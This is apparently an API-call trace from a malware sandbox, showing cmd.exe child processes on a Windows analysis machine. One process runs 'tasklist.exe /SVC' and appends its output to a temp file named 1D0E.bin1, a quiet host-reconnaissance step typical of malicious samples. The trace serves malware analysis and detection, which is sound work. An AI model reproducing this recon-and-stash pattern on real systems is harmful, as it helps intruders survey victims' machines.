[0141.743] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0141.743] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0141.743] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0141.743] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0141.743] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0141.743] GetProcessHeap () returned 0x2f0000 [0141.743] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30a530 | out: hHeap=0x2f0000) returned 1 [0141.743] GetEnvironmentStringsW () returned 0x309ab0* [0141.744] GetProcessHeap () returned 0x2f0000 [0141.744] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa90) returned 0x30c710 [0141.744] FreeEnvironmentStringsW (penv=0x309ab0) returned 1 [0141.744] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a9af360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0141.744] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a9af360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0141.744] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0141.744] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0141.744] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0141.744] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0141.744] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0141.744] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0141.744] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0141.744] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0141.744] GetProcessHeap () returned 0x2f0000 [0141.744] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x38) returned 0x3064f0 [0141.744] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16faf0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0141.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x16faf0, lpFilePart=0x16fad0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x16fad0*="system32") returned 0x13 [0141.744] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0141.744] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x16f800 | out: lpFindFileData=0x16f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0x308340 [0141.744] FindClose (in: hFindFile=0x308340 | out: hFindFile=0x308340) returned 1 [0141.744] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x16f800 | out: lpFindFileData=0x16f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0x308340 [0141.744] FindClose (in: hFindFile=0x308340 | out: hFindFile=0x308340) returned 1 [0141.745] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0141.745] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0141.745] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0141.745] GetProcessHeap () returned 0x2f0000 [0141.745] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c710 | out: hHeap=0x2f0000) returned 1 [0141.745] GetEnvironmentStringsW () returned 0x309ab0* [0141.745] GetProcessHeap () returned 0x2f0000 [0141.745] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xac0) returned 0x30bc70 [0141.745] FreeEnvironmentStringsW (penv=0x309ab0) returned 1 [0141.745] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9bc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0141.745] GetProcessHeap () returned 0x2f0000 [0141.745] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3064f0 | out: hHeap=0x2f0000) returned 1 [0141.745] GetProcessHeap () returned 0x2f0000 [0141.745] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4016) returned 0x30dc80 [0141.745] GetProcessHeap () returned 0x2f0000 [0141.745] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x98) returned 0x30c740 [0141.745] GetProcessHeap () returned 0x2f0000 [0141.745] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4010) returned 0x311ca0 [0141.746] GetProcessHeap () returned 0x2f0000 [0141.746] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4010) returned 0x315cc0 [0141.746] GetProcessHeap () returned 0x2f0000 [0141.746] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dc80 | out: hHeap=0x2f0000) returned 1 [0141.746] GetConsoleOutputCP () returned 0x1b5 [0141.746] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9bbfe0 | out: lpCPInfo=0x4a9bbfe0) returned 1 [0141.746] GetUserDefaultLCID () returned 0x409 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a9b7b50, cchData=8 | out: lpLCData=":") returned 2 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16fc00, cchData=128 | out: lpLCData="0") returned 2 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16fc00, cchData=128 | out: lpLCData="0") returned 2 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16fc00, cchData=128 | out: lpLCData="1") returned 2 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a9ca740, cchData=8 | out: lpLCData="/") returned 2 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a9ca4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a9ca460, cchData=32 | out: lpLCData="Tue") returned 4 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a9ca420, cchData=32 | out: lpLCData="Wed") returned 4 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a9ca3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a9ca3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a9ca360, cchData=32 | out: lpLCData="Sat") returned 4 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a9ca700, cchData=32 | out: lpLCData="Sun") returned 4 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a9b7b40, cchData=8 | out: lpLCData=".") returned 2 [0141.747] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a9ca4e0, cchData=8 | out: lpLCData=",") returned 2 [0141.747] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0141.748] GetProcessHeap () returned 0x2f0000 [0141.748] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20c) returned 0x30c7e0 [0141.748] GetConsoleTitleW (in: lpConsoleTitle=0x30c7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0141.748] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0141.748] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0141.748] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0141.748] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0141.748] GetProcessHeap () returned 0x2f0000 [0141.748] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4012) returned 0x30dc80 [0141.749] GetProcessHeap () returned 0x2f0000 [0141.749] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dc80 | out: hHeap=0x2f0000) returned 1 [0141.749] _wcsicmp (_String1="echo", _String2=")") returned 60 [0141.749] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0141.749] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0141.749] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0141.749] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0141.749] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0141.749] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0141.749] GetProcessHeap () returned 0x2f0000 [0141.749] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0) returned 0x30ca00 [0141.749] GetProcessHeap () returned 0x2f0000 [0141.749] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1a) returned 0x3045f0 [0141.749] GetProcessHeap () returned 0x2f0000 [0141.749] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x26) returned 0x304620 [0141.749] GetProcessHeap () returned 0x2f0000 [0141.749] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x38) returned 0x3064f0 [0141.752] GetProcessHeap () returned 0x2f0000 [0141.752] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6e) returned 0x30cac0 [0141.753] GetProcessHeap () returned 0x2f0000 [0141.753] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x28) returned 0x304650 [0141.753] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.753] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.753] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.753] GetFileType (hFile=0x7) returned 0x2 [0141.754] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0141.754] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16fad8 | out: lpMode=0x16fad8) returned 1 [0141.754] _dup (_FileHandle=1) returned 3 [0141.754] _close (_FileHandle=1) returned 0 [0141.754] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0141.755] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x16fa88, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0141.755] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0141.755] _get_osfhandle (_FileHandle=1) returned 0x50 [0141.755] GetFileType (hFile=0x50) returned 0x1 [0141.755] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x90a [0141.755] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x16fae8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16fae8*=0) returned 0x909 [0141.755] ReadFile (in: hFile=0x50, lpBuffer=0x16fad8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16fa80, lpOverlapped=0x0 | out: lpBuffer=0x16fad8*, lpNumberOfBytesRead=0x16fa80*=0x1, lpOverlapped=0x0) returned 1 [0141.756] GetConsoleTitleW (in: lpConsoleTitle=0x16fb10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0141.756] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0141.756] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0141.756] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0141.756] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0141.756] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0141.756] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0141.756] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0141.756] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0141.756] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0141.756] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0141.756] GetProcessHeap () returned 0x2f0000 [0141.756] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x308570 [0141.757] GetProcessHeap () returned 0x2f0000 [0141.757] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x308570, Size=0x24) returned 0x304680 [0141.757] GetProcessHeap () returned 0x2f0000 [0141.757] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x304680) returned 0x24 [0141.757] GetProcessHeap () returned 0x2f0000 [0141.757] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x3065b0 [0141.757] _vsnwprintf (in: _Buffer=0x4a9c6340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x16f8a8 | out: _Buffer="-------- \r\n") returned 11 [0141.757] _get_osfhandle (_FileHandle=1) returned 0x50 [0141.757] GetFileType (hFile=0x50) returned 0x1 [0141.757] _get_osfhandle (_FileHandle=1) returned 0x50 [0141.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="-------- \r\n", cchWideChar=-1, lpMultiByteStr=0x4a9bc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-------- \r\n", lpUsedDefaultChar=0x0) returned 12 [0141.757] WriteFile (in: hFile=0x50, lpBuffer=0x4a9bc320*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x16f878, lpOverlapped=0x0 | out: lpBuffer=0x4a9bc320*, lpNumberOfBytesWritten=0x16f878*=0xb, lpOverlapped=0x0) returned 1 [0141.757] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0141.758] _close (_FileHandle=3) returned 0 [0141.759] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.759] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0141.759] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.759] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9ae194 | out: lpMode=0x4a9ae194) returned 1 [0141.759] _get_osfhandle (_FileHandle=0) returned 0x3 [0141.759] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9ae198 | out: lpMode=0x4a9ae198) returned 1 [0141.759] SetConsoleInputExeNameW () returned 0x1 [0141.759] GetConsoleOutputCP () returned 0x1b5 [0141.759] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9bbfe0 | out: lpCPInfo=0x4a9bbfe0) returned 1 [0141.759] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0141.760] exit (_Code=0) Process: id = "33" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2e54000" os_pid = "0x87c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"tasklist.exe /SVC >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 326 os_tid = 0x880 [0141.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fc70 | out: lpSystemTimeAsFileTime=0x28fc70*(dwLowDateTime=0xfc6b5410, dwHighDateTime=0x1d51ed4)) [0141.825] GetCurrentProcessId () returned 0x87c [0141.825] GetCurrentThreadId () returned 0x880 [0141.825] GetTickCount () returned 0x2fb6e [0141.825] QueryPerformanceCounter (in: lpPerformanceCount=0x28fc78 | out: lpPerformanceCount=0x28fc78*=26634975501) returned 1 [0141.826] GetModuleHandleW (lpModuleName=0x0) returned 0x4abc0000 [0141.826] __set_app_type (_Type=0x1) [0141.827] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4abe7810) returned 0x0 [0141.827] __getmainargs (in: _Argc=0x4ac0a608, _Argv=0x4ac0a618, _Env=0x4ac0a610, _DoWildCard=0, _StartInfo=0x4abee0f4 | out: _Argc=0x4ac0a608, _Argv=0x4ac0a618, _Env=0x4ac0a610) returned 0 [0141.827] GetCurrentThreadId () returned 0x880 [0141.827] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x880) returned 0x3c [0141.827] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0141.827] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0141.827] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0141.828] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0141.828] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28fc08 | out: phkResult=0x28fc08*=0x0) returned 0x2 [0141.828] VirtualQuery (in: lpAddress=0x28fbf0, lpBuffer=0x28fb70, dwLength=0x30 | out: lpBuffer=0x28fb70*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.828] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28fb70, dwLength=0x30 | out: lpBuffer=0x28fb70*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.828] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28fb70, dwLength=0x30 | out: lpBuffer=0x28fb70*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.828] VirtualQuery (in: lpAddress=0x194000, lpBuffer=0x28fb70, dwLength=0x30 | out: lpBuffer=0x28fb70*(BaseAddress=0x194000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.828] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28fb70, dwLength=0x30 | out: lpBuffer=0x28fb70*(BaseAddress=0x290000, AllocationBase=0x290000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.828] GetConsoleOutputCP () returned 0x1b5 [0141.828] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4abfbfe0 | out: lpCPInfo=0x4abfbfe0) returned 1 [0141.828] SetConsoleCtrlHandler (HandlerRoutine=0x4abe3184, Add=1) returned 1 [0141.828] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.828] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0141.829] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.829] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4abee194 | out: lpMode=0x4abee194) returned 1 [0141.829] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.829] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0141.829] _get_osfhandle (_FileHandle=0) returned 0x3 [0141.829] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4abee198 | out: lpMode=0x4abee198) returned 1 [0141.829] _get_osfhandle (_FileHandle=0) returned 0x3 [0141.829] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0141.829] GetEnvironmentStringsW () returned 0x488b10* [0141.829] GetProcessHeap () returned 0x470000 [0141.829] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xa78) returned 0x489590 [0141.830] FreeEnvironmentStringsW (penv=0x488b10) returned 1 [0141.830] GetProcessHeap () returned 0x470000 [0141.830] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x8) returned 0x488390 [0141.830] GetEnvironmentStringsW () returned 0x488b10* [0141.830] GetProcessHeap () returned 0x470000 [0141.830] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xa78) returned 0x48a010 [0141.830] FreeEnvironmentStringsW (penv=0x488b10) returned 1 [0141.830] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28eac8 | out: phkResult=0x28eac8*=0x44) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x0, lpData=0x28eae0*=0x18, lpcbData=0x28eac4*=0x1000) returned 0x2 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x4, lpData=0x28eae0*=0x1, lpcbData=0x28eac4*=0x4) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x0, lpData=0x28eae0*=0x1, lpcbData=0x28eac4*=0x1000) returned 0x2 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x4, lpData=0x28eae0*=0x0, lpcbData=0x28eac4*=0x4) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x4, lpData=0x28eae0*=0x40, lpcbData=0x28eac4*=0x4) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x4, lpData=0x28eae0*=0x40, lpcbData=0x28eac4*=0x4) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x0, lpData=0x28eae0*=0x40, lpcbData=0x28eac4*=0x1000) returned 0x2 [0141.830] RegCloseKey (hKey=0x44) returned 0x0 [0141.830] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28eac8 | out: phkResult=0x28eac8*=0x44) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x0, lpData=0x28eae0*=0x40, lpcbData=0x28eac4*=0x1000) returned 0x2 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x4, lpData=0x28eae0*=0x1, lpcbData=0x28eac4*=0x4) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x0, lpData=0x28eae0*=0x1, lpcbData=0x28eac4*=0x1000) returned 0x2 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x4, lpData=0x28eae0*=0x0, lpcbData=0x28eac4*=0x4) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x4, lpData=0x28eae0*=0x9, lpcbData=0x28eac4*=0x4) returned 0x0 [0141.830] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x4, lpData=0x28eae0*=0x9, lpcbData=0x28eac4*=0x4) returned 0x0 [0141.831] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28eac0, lpData=0x28eae0, lpcbData=0x28eac4*=0x1000 | out: lpType=0x28eac0*=0x0, lpData=0x28eae0*=0x9, lpcbData=0x28eac4*=0x1000) returned 0x2 [0141.831] RegCloseKey (hKey=0x44) returned 0x0 [0141.831] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2093 [0141.831] srand (_Seed=0x5cfd2093) [0141.831] GetCommandLineW () returned="cmd /C \"tasklist.exe /SVC >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0141.831] GetCommandLineW () returned="cmd /C \"tasklist.exe /SVC >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0141.831] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4abfc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0141.831] GetProcessHeap () returned 0x470000 [0141.831] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x218) returned 0x48aa90 [0141.831] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48aaa0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0141.831] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4abef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0141.831] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4abef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0141.831] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4abef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0141.831] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0141.831] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0141.831] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0141.831] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0141.831] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0141.831] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0141.831] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0141.831] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0141.831] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0141.831] GetProcessHeap () returned 0x470000 [0141.832] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489590 | out: hHeap=0x470000) returned 1 [0141.832] GetEnvironmentStringsW 